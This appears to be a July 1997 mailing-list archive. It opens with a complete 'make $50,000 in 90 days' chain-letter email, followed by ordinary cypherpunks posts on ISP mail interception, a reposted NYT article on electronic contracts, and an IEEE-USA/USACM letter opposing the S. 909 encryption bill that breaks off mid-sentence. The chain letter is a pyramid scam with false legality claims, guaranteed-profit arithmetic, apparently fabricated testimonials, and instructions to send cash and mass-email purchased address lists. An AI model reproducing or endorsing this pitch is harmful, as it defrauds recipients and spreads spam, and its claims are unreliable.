NOTE: "If you have not requested this message then please disregard 
and accept our apologies.  PLEASE DO NOT READ ANY FURTHER UNLESS YOU 
NEED MORE MONEY!?!"
Dear friend,

July 1997.  Mark your calender.  This is no joke and I'm not here to 
waste your time, so pay close attention.  The plan is SIMPLE, and 
actually WORKS, for one reason only:  "32 cents"  
By this I mean a lack thereof...no letters to mail.  Only a few 
strokes of your keyboard and a few thousand emails moving at the 
speed of light, for FREE, other than your internet access fee.  It's 
started with VERY MINIMAL  outlay ($20) and the income return will 
have you laughing in DISBELIEF all the way to the bank.  Do it now or 
hear about it later...read on please, and thank me when you make your 
first $1000....
Talk to you in eight weeks...

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days.  Read 
the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
 
The enclosed information is something I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave 
some thought and study to it.
My name is Christopher Erickson.  Two years ago, the corporation I 
worked at for the past twelve years down-sized and my position was 
eliminated.  After unproductive job interviews,  I decided to open my 
own business.  Over the past year, I incurred many unforeseen 
financial problems.  I owed my family, friends, and creditors over 
$35,000.  The economy was taking a toll on my business and I just 
couldn't seem to make ends meet.  I had to refinance and borrow 
against my home to support my family and struggling business.  I 
truly believe it was wrong for me to be in debt like this.  AT THAT 
MOMENT something significant happened in my life and I am writing to 
share my experience in hopes that this will change your life 
FOREVER....FINANCIALLY!!!
In mid-December, I received this program via email.  Six months prior 
to
receiving this program I had been sending away for information on 
various business opportunities.  All of the programs I received, in 
my opinion, were not cost effective.  They were either too difficult 
for me to comprehend or the initial investment was too much for me to 
risk to see if they worked or not.  One claimed I'd make a million 
dollars in one year...it didn't tell me I'd have to write a book to 
make it.
But like I was saying, in December of '95 I received this program.  I 
didn't send for it, or ask for it, they just got my name off a 
mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several 
times, to make sure I was reading it correctly, I couldn't believe my 
eyes.  Here was a MONEY-MAKING  PHENOMENON.  I could invest as much 
as I wanted to start, without putting  me further in debt.  After I 
got a pencil and paper and figured it out, I would at
least get my money back.  After determining that the program is LEGAL 
and NOT A CHAIN LETTER, I decided "WHY NOT".
Initially I sent out 10,000 emails.  It only cost me about $15.00 for 
my
time on-line.  The great thing about email is that I didn't need any 
money
for printing to send out the program, only the cost to fulfill my 
orders.  I
am telling you like it is, I hope it doesn't turn you off, but I 
promised
myself that I would not "rip-off" anyone, no matter how much money it 
cost me!
 
A good program to help do this is Ready Aim Fire, an email extracting 
and mass mail program at:
http://microsyssolutions.com/
In less than one week, I was starting to receive orders for REPORT 
#1. By January 13th, I had received 26 orders for REPORT #1.  When 
you read the GUARANTEE in the program, you will see that "YOU MUST 
RECEIVE 15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU 
DON'T,  SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in 
making $50,000 in 20 to 90 
days was done.  By January 30th, I had received 196 orders for REPORT 
#2.  If  you go back to the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE 
ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE 
PROGRAMS UNTIL YOU DO.  ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, 
RELAX, 
YOU WILL MAKE YOUR $50,000 GOAL."
Well, I had 196 orders for REPORT #2, 96 more than I needed.  So I 
sat back and relaxed.  By March 19th, of my emailing of 10,000, I 
received $58,000 with more coming in every day.
I paid off  ALL my debts and bought a much needed new car.  Please 
take time to read the attached program, IT WILL CHANGE YOUR LIFE 
FOREVER!
Remember,  it wont work  if you don't try it.  This program does 
work, but you must follow it EXACTLY!  Especially the rules of not 
trying to place your name in a different place.  It doesn't work, 
you'll lose out on a  lot of  money!  REPORT  #2  explains this.  
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100 
or more orders for REPORT #2 and you will  make  $50,000 or more in 
20 to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!
If you choose not to participate in this program, I'm sorry.  It 
really is a
great opportunity with little cost or risk to you.  If you choose to
participate, follow the program and you will be on your way to 
financial
security.
 
If you are a fellow business owner and you are in financial trouble 
like I
was, or you want to start your own business, consider this a sign.  I 
DID!
 
Sincerely,
Christopher Erickson
 
PS  Do you have any idea what 11,700 $5 bills ($58,000) look like 
piled up on a kitchen table? IT'S AWESOME!
"I THREW IT AWAY"
"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no 
idea who to contact to get a copy, so I had to wait until I was 
emailed another copy of the program.  Eleven months passed, then it 
came.  I DIDN'T throw this one away.  I made $41,000 on the first 
try."
Dawn W., Evansville, IN
"NO FREE LUNCH"
"My late father always told me, 'remember, Alan, there is no free 
lunch in
life.  You get out of life what you put into it.'  Through trial  and 
error
and a somewhat slow frustrating start, I finally figured it out. The 
program works very well, I just had to find the right target group of 
people to email it to.  So far this year, I have made over $63,000 
using this program. I know my dad would have been very proud of me."
Alan B., Philadelphia, PA
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
By the time you have read the enclosed information and looked over 
the enclosed program and reports, you should have concluded that such 
a program, and  one that is legal,  could not have been created by an 
amateur.
Let me tell you a little about myself.  I had a profitable business 
for ten
years.  Then in 1979 my business began falling off.  I was doing the 
same things that were previously successful for me, but it wasn't 
working. Finally, I figured it out.  It wasn't me, it was the 
economy. Inflation and recession had replaced the stable economy that 
had been with us since 1945. I don't have to tell you what happened 
to the unemployment rate...because many of you know from first hand  
experience. There were more failures and bankruptcies than ever 
before.
The middle class was vanishing.  Those who knew what they were doing 
invested wisely and moved up.  Those who did not, including those who 
never had anything to save or invest, were moving down into the ranks 
of the poor.
As the saying goes, "THE RICH GET RICHER AND THE POOR  GET POORER."  
The traditional methods of making money will never allow you to "move 
up" or "get rich", inflation will see to that.  You have just 
received information that can  give you financial freedom for the 
rest of your life, with "NO RISK" and "JUST A  LITTLE BIT OF EFFORT." 
 You can make more money in the next few months  than you have ever 
imagined.
I should also point out that I will not see a penny of your money, 
nor
anyone else who has provided a testimonial for this program.  I have 
already made over FOUR MILLION DOLLARS!  I have retired from the 
program after sending out over 16,000 programs.  Now I have several 
offices which market this and several other programs here in the US 
and overseas.  By the Spring, we wish to market the 'Internet' by a 
partnership with AMERICA ON LINE.
Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any 
way. It works exceedingly well as it is now.  Remember to email a 
copy of this exciting program to everyone that you can think of.  One 
of the people you send this to may send out 50,000...and your name 
will be on every one of them!.  Remember though, the more you send 
out, the more potential customers
you will reach.
So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!
 
"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a
little time to read it and REALLY THINK ABOUT IT.  Get a pencil and 
figure out what could happen when YOU participate.  Figure out the 
worst possible response and no matter how you calculate it, you will 
still make a lot of money!  Definitely get back what you invested.  
Any doubts you have will  vanish when your first orders come in.  IT 
WORKS!
Paul Johnson, Raleigh, NC
HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll
assume you and all those involved send out 2,000 programs each. Let's 
also assume that the mailing receives a .5% response.  Using a good 
list the response could be much better.  Also many people will send 
out hundreds of thousands of programs instead of 2,000.  But 
continuing with this example, you send out only 2,000 programs.  With 
a .5% response, that is only 10 orders for REPORT #1.  Those 10 
people respond by sending out 2,000 programs each for a total of 
20,000.  
Out of those .5%, 100 people respond and order REPORT #2.  Those 100 
mail out 2,000 programs each for a total of 200,000.  The .5% 
response to that is 1,000 orders for REPORT #3.  Those 1,000 send out 
2,000 programs each for a 2,000,000 total.  The .5% response to that 
is 10,000 orders for REPORT #4. That's 10,000 five dollar bills for 
you. CASH!!!!  Your total income in this example is $50 + $500 + 
$5000 +$50,000 for a total of $55,550!!!!
REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU  MAIL 
TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!   DARE TO 
THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE   OR HALF SENT OUT 
100,000 PROGRAMS INSTEAD OF ONLY 2,000.  
Believe me, many people will do that and more!  By the way, your cost 
to participate in this is practically nothing.  You obviously already 
have an internet connection and email is FREE!!!  REPORT #3 will show 
you the best methods for bulk emailing and purchasing email lists.
THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not  
require you to come in contact with people, do any hard work, and 
best of all, you never have to leave the house except to get the 
mail.  If you believe that someday you'll get that big break that 
you've been waiting for, THIS IS IT!
Simply follow the instructions, and your dream will come true.  This
multi-level email order marketing program works perfectly...100% 
EVERY TIME.
Email is the sales tool of the future.  Take advantage of this
non-commercialized method of advertising NOW!!  The longer you wait, 
the more people will be doing business using email.  Get your piece 
of this action!!
 
MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is 
being taught in the Harvard Business School, and both Stanford 
Research and The Wall Street Journal have stated that between 50% and 
65% of all goods and services will be sold throughout Multi-level 
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar 
industry and of the 500,000 millionaires in the US, 20% (100,000) 
made their fortune in the last several years in MLM.  Moreover, 
statistics show 45 people become millionaires everyday through Multi-
Level Marketing.
INSTRUCTIONS
We at Erris Mail Order Marketing Business, have a method of raising 
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could 
use  $50,000 to $125,000 in the next 20 to 90 days.  Before you say 
"Bull", please read  the program carefully.
This is not a chain letter, but a perfectly legal money making 
opportunity.
Basically, this is what we do:  As with all multi-level business, we 
build
our business by recruiting new partners and selling our products.  
Every
state in the USA allows you to recruit new multi-level business 
partners,
and we offer a product for EVERY dollar sent. YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved in personal 
selling.  You do it privately in your own home, store or office.
 
This is the GREATEST Multi-level Mail Order Marketing anywhere:
STEP (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
this by ordering the REPORT from each of the four 4 names listed on 
the next page. For each REPORT, send $5 CASH and a SELF-ADDRESSED, 
STAMPED  envelope (BUSINESS SIZE #10) to the person listed for the 
SPECIFIC REPORT.   International orders should also include $1 extra 
for postage.  It is essential  that you specify the NAME and NUMBER 
of the report requested to the person you are ordering from.  You 
will need ALL FOUR (4) REPORTS because you will be REPRINTING and 
RESELLING them. DO NOT alter the names or sequence other than what 
the instructions say.
IMPORTANT:  Always provide same-day service on all orders.
STEP (2) Now you have to make some changes in this email message 
before you are ready to start sending it out.  Replace  the  name  
and  address  under  REPORT #1  with yours, moving the one that was 
there down to REPORT #2.   Drop  the  name and address  under REPORT 
#2 to REPORT #3, moving the one that was there to REPORT #4.   The 
name and address that was under REPORT #4 is dropped from the list 
and  this party  is  no doubt on the way to the bank.  When doing 
this, make certain you  type the names and addresses ACCURATELY!  DO 
NOT MIX UP MOVING 
PRODUCT/REPORT  POSITIONS!!!
STEP (3)   Having made the required changes in the NAME list, save it 
as a text (.txt) file in it's own directory to be used with whatever 
email
program you like. Again, REPORT #3 will tell you the best methods of 
bulk emailing and acquiring email lists. Step (4)   Email a copy of 
the entire program (all of this is very important) to everyone whose 
address you can get your hands on. Start with friends and relatives 
since you can encourage them to take advantage of this  fabulous  
money-making opportunity. that's what I did.  And they love me now, 
more than ever. Then, email to anyone and everyone!  Use your 
imagination! You can get email addresses from companies on the 
internet who specialize in email mailing lists.  These are very
cheap, 100,000 addresses for around $35.00.
IMPORTANT:  You won't get a good response if you use an old list, so 
always request a FRESH, NEW list. You will find out where to purchase 
these lists when you order the four 4 REPORTS.
ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
REQUIRED REPORTS
***Order each REPORT by NUMBER and NAME***
ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
ORDER REPORT #1 FROM:
Mahajan Marketing
PO Box 2287
Merrifield, VA 22116-2287
________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
ORDER REPORT #2 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"
ORDER REPORT #3 FROM:
Reed Communications
P.O. Box 1786
Port Townsend, WA  98368
________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"
ORDER REPORT #4 FROM:

BRYOCOM GLOBAL 
9608 N May Ave #230
Oklahoma City, OK 73120 


_______________________________________________________
 
CONCLUSION
I am enjoying my fortune that I made by sending out this program. You 
too, will be making money in 20 to 90 days, if you follow the SIMPLE 
STEPS
outlined in this mailing.
To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, 
retire
or take a vacation.  No longer will a lack of money hold you back.
 
However, very few people reach financial independence, because when 
opportunity knocks, they choose to ignore it.  It is much easier to 
say "NO" than "YES", and this is the question that you must answer.  
Will YOU ignore this amazing opportunity or will you take advantage 
of it? If you do nothing, you have indeed missed something and 
nothing will change.  Please re-read this material, this is a special 
opportunity. If you have any questions, please feel free to write to 
the sender of this information.  You will get a prompt and 
informative reply.
My method is simple.  I sell thousands of people a product for $5 
that costs me pennies to produce and email.  I should also point out 
that this program is legal and everyone who participates WILL make 
money. This is not a chain letter or pyramid scam.  At times you have 
probably received chain letters, asking you to send money, on faith, 
but getting NOTHING in return, NO product what-so-ever!  Not only are 
chain letters illegal, but the risk of someone breaking the chain 
makes them quite unattractive.
You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them. 
It's simple free enterprise.  As you learned from the enclosed  
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS 
REPORTS.  
The information contained in these REPORTS will not only help you in 
making your participation in this program more rewarding, but will be 
useful to you in any other business decisions you make in the years 
ahead. You are also buying the rights to reprint all of the REPORTS, 
which will be ordered from you by those to whom you mail this 
program.  The concise one and two page REPORTS you will be buying can 
easily be reproduced at a local copy center for a cost off about 3 
cents a copy.
Best wishes with the program and Good Luck!
"IT WAS TRULY AMAZING"
"Not being the gambling type, it took me several weeks to make up my 
mind to participate in this program.  But conservative as I am, I 
decided that the initial investment was so little that there was no 
way that I could not get enough orders to at least get my money back. 
 BOY, was I ever surprised when I found my medium sized post office 
box crammed with orders!  I will make more money this year than any 
ten years of my life before."
Mary Riceland, Lansing, MI
TIPS FOR SUCCESS
Send for your four 4 REPORTS immediately so you will have them when 
the orders start coming in.  When you receive a $5 order, you MUST 
send out the product/service to comply with US Postal and Lottery 
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A 
PRODUCT OR SERVICE  MUST BE EXCHANGED FOR MONEY RECEIVED."
WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
1.	Name your new company. You can use your own name if you desire.
2.	Get a post office box (preferred).
3.	Edit the names and addresses on the program. You must remember,  
your name and address go next to REPORT #1 and the others all move 
down one, with the fourth one being bumped OFF the list.
4.	Obtain as many email addresses as possible to send until you
receive the information on mailing list companies in REPORT #3.
5.	Decide on the number of programs you intend to send out.  The more 
you  send, and the quicker you send them, the more money  you will 
make. 
6.	After mailing the programs, get ready to fill the orders.
7.	Copy the four 4 REPORTS so you are able to sent them out as soon 
as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME-DAY SERVICE  
ON ORDERS YOU RECEIVE!
8.	Make certain the letter and reports are neat and legible.
 
YOUR GUARANTEE
The check point which GUARANTEES your success is simply this:  you 
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If 
you don't within two weeks, email out more programs until you do.  
Then a couple of weeks later you should receive at least 100 orders 
for REPORT #2, if you don't, send out more programs until you do.  
Once you have received 100 or more orders for REPORT #2, (take a deep 
breath) you can sit back and  relax, because  YOU  ARE  GOING TO  
MAKE  AT  LEAST  $50,000. Mathematically  it is  a  proven  
guarantee.   Of  those  who  have participated in t
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Tue, 8 Jul 1997 16:07:34 +0800
To: Firebeard <stend+cypherpunks@sten.tivoli.com>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <vpd8ouyv8j.fsf@sten.tivoli.com>
Message-ID: <Pine.LNX.3.96.970708073559.154B-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On 8 Jul 1997, Firebeard wrote:

> 	But it could - it's simple firewall technology.  There's no MX
> record for sten.tivoli.com, but any incoming email to me is
> intercepted by proxy.tivoli.com, as is all other incoming traffic to
> the internal tivoli.com network on port 25.  Since 'incoming' is only
> a matter of definition, it would be trivial for an ISP to set up a
> firewall that passed all other ports through transparently, but
> redirected connections with a destination of port 25 to their own SMTP
> server.

Very much depends on how `ISP' is defined.  All my mail now comes in
via UUCP, which is another port (540, I think).  Outgoing mail goes
to another system which is run from a friend's house, and therefore
probably doesn't count as an ISP (again, UUCP).

> 	I don't want them to, and I _certainly_ don't want the
> government goons requiring ISPs to do this, but don't sit back and
> relax with the notion that 'it can't be done'.

It certainly _can_ be done.  Almost anything _can_ be done.
Whether it should (and in this case, it shouldn't!) be done is another issue.

dave

-- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
1000s of Magic:The Gathering cards 4 sale! Info on req.
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 8 Jul 1997 16:04:05 +0800
To: cypherpunks@toad.com
Subject: Re: Forged Posts
In-Reply-To: <199707080550.HAA12425@basement.replay.com>
Message-ID: <199707080749.CAA16060@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199707080550.HAA12425@basement.replay.com>, on 07/08/97 
   at 07:50 AM, nobody@REPLAY.COM (Anonymous) said:

>Kent Crispin is another fabrication of Toto's, this time with no apparent 
>model. 

Hey now give credit where credit is due!!

Kent Crispin is my creation!!! His sole purpose is so I can refute his
posts.

I beleive in literary terms this is know as a foil. :)

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 8 Jul 1997 18:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Contracts on the Net (NYT)
Message-ID: <Chameleon.868353297.amp@tx86_8>
MIME-Version: 1.0
Content-Type: text/plain





The New York Times      MONDAY, JULY 7, 1997


Lack Of Contracts Undermine Internet Transactions

By GEANNE ROSENBERG


Beyond the violets and refrigerated roses, in the back room of the
Southern Sun flower shop in Tallahassee, Fla., the florist, Bob Deak,
also deals in trading cards. 

With three computers and links to the Internet, Deak bargains with
collectable card buyers and sellers from as far away as Italy,
Australia and Singapore. He does not worry about the lack of paper
contracts to document the deals he strikes, even though the
transactions can run as high as $20,000 apiece. His profits, he said,
far outweigh the risks that a deal might go sour. 

One deal in particular led to a dispute - a $1,020 purchase of a card
collection last year from a 14-year-old, Ted Clark of Haddonfield,
N.J. 

Deak said ``youngsters'' selling cards sometimes do not understand
the meaning of ``near mint.'' So, after examining the cards he had
agreed to purchase in several installments, Deak decided they were
not in near-mint condition and canceled a couple of checks he had
written to Ted Clark and sold the cards for less than the original
purchase price. 

But Deak's actions did not sit well with Ted, now 16, especially
since Deak had made an electronic agreement.  Ted thought he had been
``rooked'' because he did not receive the full amount, said his
mother, Amelia H. Boss, a law professor at Temple University School
of Law and an expert on Internet commerce. She took Ted's case and,
with the assistance of a Florida colleague who served as local
counsel, contacted Deak and eventually persuaded him to pay the
balance of the money. 

Boss said these sorts of disputes are commonplace on the Net. But,
she said, the high cost of suing, especially across state and
national borders, prevent most such squabbles from making it to
court. The resulting dearth of test cases on digital contracts has
left many business managers, corporate lawyers and legal scholars
uncertain about the enforceability of electronic agreements. 

The uncertainty has had a chilling effect, even at computer-astute
places like General Electric Co.'s GE Information Services unit and
the TPN Register Co. - GE's joint venture with Thomas Publishing Co. 

The companies solicit suppliers and hammer out details of procurement
contracts for GE's affiliates and other companies via the Internet.
But when it comes time to execute a contract, the companies resort to
pen and paper. 

``I think ideally you'd love to be 100 percent electronic,'' said
Orville A. Bailey, vice president of marketing and business
development at TPN, because adding paperwork is not as efficient.
But, he said, his company is more ``comfortable'' having signed paper
contracts on hand. 

Bailey is not alone. 

E. Allan Farnsworth, a leading contract law professor at Columbia
University, said that when a contract was substantial and complex,
``I think the safe thing to do is to do it in the old-fashioned
way.'' 

The reason in part, according to Raymond T. Nimmer, professor of law
at the Houston Law Center, is the Statute of Frauds - which traces
its origins to early English law - requiring that many contracts be
written and signed by the parties against whom enforcement is sought.
While some states, including California, Minnesota, Texas, Utah and
Washington, have recently passed laws permitting digital signatures
to satisfy the Statute of Frauds, Professor Nimmer said, most states
- including New York - have not. In addition to the Statute of Frauds
problem, electronic contracts can give rise to questions of
authenticity and authority of the parties involved, Nimmer said. 

Even in states with no laws addressing enforceability of electronic
contracts, many legal experts are confident such agreements will hold
up in court. Arthur Rosett, a law professor at the University of
California, Los Angeles, said, ``It's hard for me to imagine a court
finding that an electronic communication that has been proven does
not satisfy the Statute.'' 

Moreover, some computer experts contend, electronic contracts are in
some respects better than paper ones.  Vincent I. Polley, general
counsel at Omnes Co., a network services concern, said software
should render electronic contracts tamper- and forgery-proof. 

But others were guarded in their endorsement of electronic contracts.
``The judicial system - the lawyers, judges and juries - are not
populated by hackers,'' said Jonathan J. Lerner, a partner at
Skadden, Arps, Slate, Meagher & Flom. ``If you're talking about a
very large and important contract, you need to have your head
examined not to secure the best form of agreement'' - which, in his
view, remains a paper contract. 

The stakes can be high, said Constance E. Bagley, senior lecturer in
law and management at the Stanford Business School and a practicing
lawyer. She cited the example of a software sale over the Internet,
in which the software had a bug that damaged the purchaser's entire
data base. 

If the contract were deemed unenforceable because it did not satisfy
a requirement that it be a signed writing, or because the
authenticity or authority of the person assenting to the terms came
into question, then the merchant could theoretically be liable for
all of the purchaser's losses, she said, because limitations on
liability included in the contract would be ineffective. 

Lawmakers are scrambling to fill the gap between technology and the
law. Leaders of this effort include Professor Boss of Temple
University and Professor Nimmer of the Houston Law Center, who are
helping revise the Uniform Commercial Code to deal with electronic
contracts. Under the proposed revision of the code, which governs
transactions in all 50 states, electronic agreements formed with
active consent, such as digital signatures or clicking on spaces
indicating acceptance of terms, generally would be enforceable. 

But the UCC revision, which individual state legislatures could
adopt, adapt or ignore at their own choosing, is at least a year away
from completion. 

It could run into further delays because of criticism aimed not at
the technical provisions concerning enforceability of electronic
contracts, but at changes and additions within the draft to sales and
licensing laws. For example, some intellectual property experts worry
the revision would allow publishers to write contracts that encroach
upon rights in the public domain, said Pamela Samuelson, professor of
information management and law at the University of California,
Berkeley. And the American Automobile Manufacturers Association
contends that the revision's proposed changes in rules for the sale
of goods would increase seller liability and the cost of doing
business. 

In addition to the UCC revision, the National Conference of
Commissioners on Uniform State Laws is planning to propose state laws
legitimizing electronic contracts not covered by the UCC. And the
U.N. Commission on International Trade Law, on which Boss served as
the American delegate and expert adviser, is completing a model law
on electronic commerce that is expected to be presented to individual
countries for incorporation in their domestic laws. 

Washington, so far, appears to be eager for the law to catch up with
the technology. Several agencies, including the Commerce Department,
have collaborated on a paper favoring the adaption of domestic and
global laws to support electronic contracts. 

As lawmakers struggle to get rules in place, some businesses are not
waiting. For these businesses, ``The cost of the gamble is cheaper
than the cost of the contract,'' said Patricia B. Fry, a law
professor at the University of North Dakota and the chairwoman of the
national commissioners conference electronic contract effort. 

Ford Motor Co. uses ``purely electronic contracts'' with suppliers,
according to James Ziety, counsel at Ford. Ziety said he knew of no
trouble with Ford's electronic agreements. Any problems, he said,
were ``virtually always worked out at the business level.'' 

Meanwhile, Boss said, the gap in the law invited a major court
decision. ``When the case comes along,'' she said, `` when it hits,
it may well be the big one.'' 

As for Deak, the uncertainties about electronic contracts are not
holding him back from making deals online.  ``Every night when I say
my prayers,'' he said, ``I thank the Lord for the Internet.'' 



------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/08/97
Time: 05:13:44
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ACM US Public Policy Office <usacm_dc@acm.org>
Date: Tue, 8 Jul 1997 18:19:13 +0800
To: cypherpunks@toad.com
Subject: IEEE-USA & USACM Letter on S. 909
Message-ID: <v03110701afe7c0be2b0e@[205.177.25.31]>
MIME-Version: 1.0
Content-Type: text/plain




**************************************

The Institute of Electrical and Electronics Engineers-
United States Activities
1828 L Street, NW, Suite 1202
Washington, DC 20036
T: (202) 785-0017; F: (202) 785-0835

The Association for Computing
U.S. Public Policy Office
666 Pennsylvania Ave., SE
Suite 302 B
Washington, DC  20003
T: (202) 544-4859
F: (202) 547-5482


July 3, 1997

The Honorable John McCain
Chairman
Senate Commerce, Science & Transportation Committee
241 Russell Senate Office Bldg.
Washington, DC 20510

Dear Mr. Chairman:

The U.S. Public Policy Office for the Association for Computing (USACM) and
The Institute of Electrical and Electronics Engineers-United States
Activities (IEEE-USA) note with considerable dismay the Senate Commerce,
Science and Transportation Committee's recent approval of S. 909, the
"Secure Public Networks Act."

We share many of the concerns of the Committee members regarding problems
of national security and law enforcement.   However, we believe that the
"Secure Public Networks Act," as approved by the Committee, leads U.S.
encryption policy in the wrong direction.   The proposed bill stands in
opposition to the scientific and professional opinions of many experts who
believe that national security and public safety will be weakened by the
mandated introduction of constrained or recoverable-key encryption.  We
also believe that such action will hinder U.S. competitiveness in
international markets, establish a dangerous precedent for the future, and
endanger cherished civil liberties in the U.S. and elsewhere in the world.

Since no hearings were held on the bill, the Committee may not have had
full information on its implications.
We believe the bill will have a serious, negative and long-term impact on
society in general and on our organizations and their members.  We are
keenly interested in supporting significant consideration of the important
issues involved, and we would very much like to provide technical and
scientific input on this issue.  Many of our members are
internationally-recognized experts in the area of information security and
encryption, and several have significant experience with law enforcement
and national security issues.  We would be happy to put you in contact with
some of these experts should you desire more information on the points we
outline in this letter.

In what follows, we  briefly outline some of the reasons why so many
experts believe such a bill is harmful if it became law.





        - 2 -

First, the bill is economically harmful.  Voting to restrict strong
cryptography would damage America's dominance in information technologies.
Secure software and hardware is available overseas.  Mathematical acumen
exists around the world; the U.S. can neither control nor contain it.
Software companies will continue to be forced to seek talent elsewhere.
The widely-used, strong cryptographic algorithm IDEA, for example, was
developed in Europe.  U.S. software and hardware suppliers can incorporate
IDEA into their products, but only if those products are confined to use in
the U.S.   Export controls have obviously not hindered the worldwide spread
of encryption products based on IDEA and produced outside the U.S.  These
controls have merely prevented U.S. providers from participating in that
global market.  Customers throughout the world have the sophistication to
understand the need for strong cryptographic products and they will
continue to seek to buy them wherever they are sold.  The result will be an
increasing loss of jobs and revenues in an area where the U.S. once held
the dominant position.  It is conceivable that our own industry and
civilian sector might eventually become dependent on foreign cryptography
products should U.S.  firms continue to be prohibited from open competition
in this arena.

Second, this bill threatens cherished civil freedoms.  Information
technologies make data surveillance possible and increasingly affordable.
The best technical protections available to the individual depend upon
cryptography.  There is also an unfortunate history of a few law
enforcement agents and government officials using their positions and
access to violate the law and the rights of citizens.  Strong encryption is
the only practical means available to law-abiding citizens to defend
themselves against these infrequent, but all-too-real abuses.

The wording in the proposed bill for organizations with Federal funding to
rely on a mandated form of encryption will be burdensome and may lead to
severe invasions of privacy.  For instance, if a library or university were
forced to implement such encryption, how could the organization ensure that
its users were actually employing the system?  The only sure method would
be to "snoop" on the messages to see if they were breakable under the
mandated scheme.  Otherwise, users would be able to substitute their own
encryption instead of, or in addition to, the mandated form, thus rendering
this bill meaningless but still costly to implement.  This raises serious
questions about privacy -- and more importantly -- First Amendment
considerations.

Third, the criminal element will not be hindered by any legislation similar
to the one proposed.  The referenced bill provides no provisions that would
actually deter criminals from employing strong encryption obtained from
other sources.    Drug cartels, terrorists, pornographers and others who
might use encryption in criminal enterprises are already violating laws
with penalties much more severe than any that might be imposed for using
unauthorized encryption technologies.  Meanwhile, law-abiding citizens
would be forced to rely on technologies that might not protect their
private information against "crackers" and potential blackmailers.  As in
the physical world, the best public safety results from crime prevented
through good practices, rather than crimes solved.  Without strong
cryptography Americans cannot lock their electronic doors, but must instead
remain vulnerable.  Thus, constraining cryptography might help law
enforcement solve a small number of crimes, but it will do nothing to
prevent opportunities for even more crimes, thereby reducing overall public
safety.

Fourth, constraints on strong cryptography will jeopardize national
security.  Requiring or encouraging weakened technology leaves the United
States vulnerable to information warfare from other nation-states,
techno-anarchists and terrorists, and from organized criminal elements.  It
is vital that telephone systems, medical health care systems, utility
systems, and other control mechanisms affecting every sector of the economy
be made more secure and not restrained from using improved security.  Our
national security depends on the reliability of our




        - 3 -

national infrastructures and critical systems, particularly those based on
computer and communications technology.  To legislate the use of untested
mechanisms that present weakened protection, or that have a single point of
failure and attack, will unnecessarily endanger those critical institutions
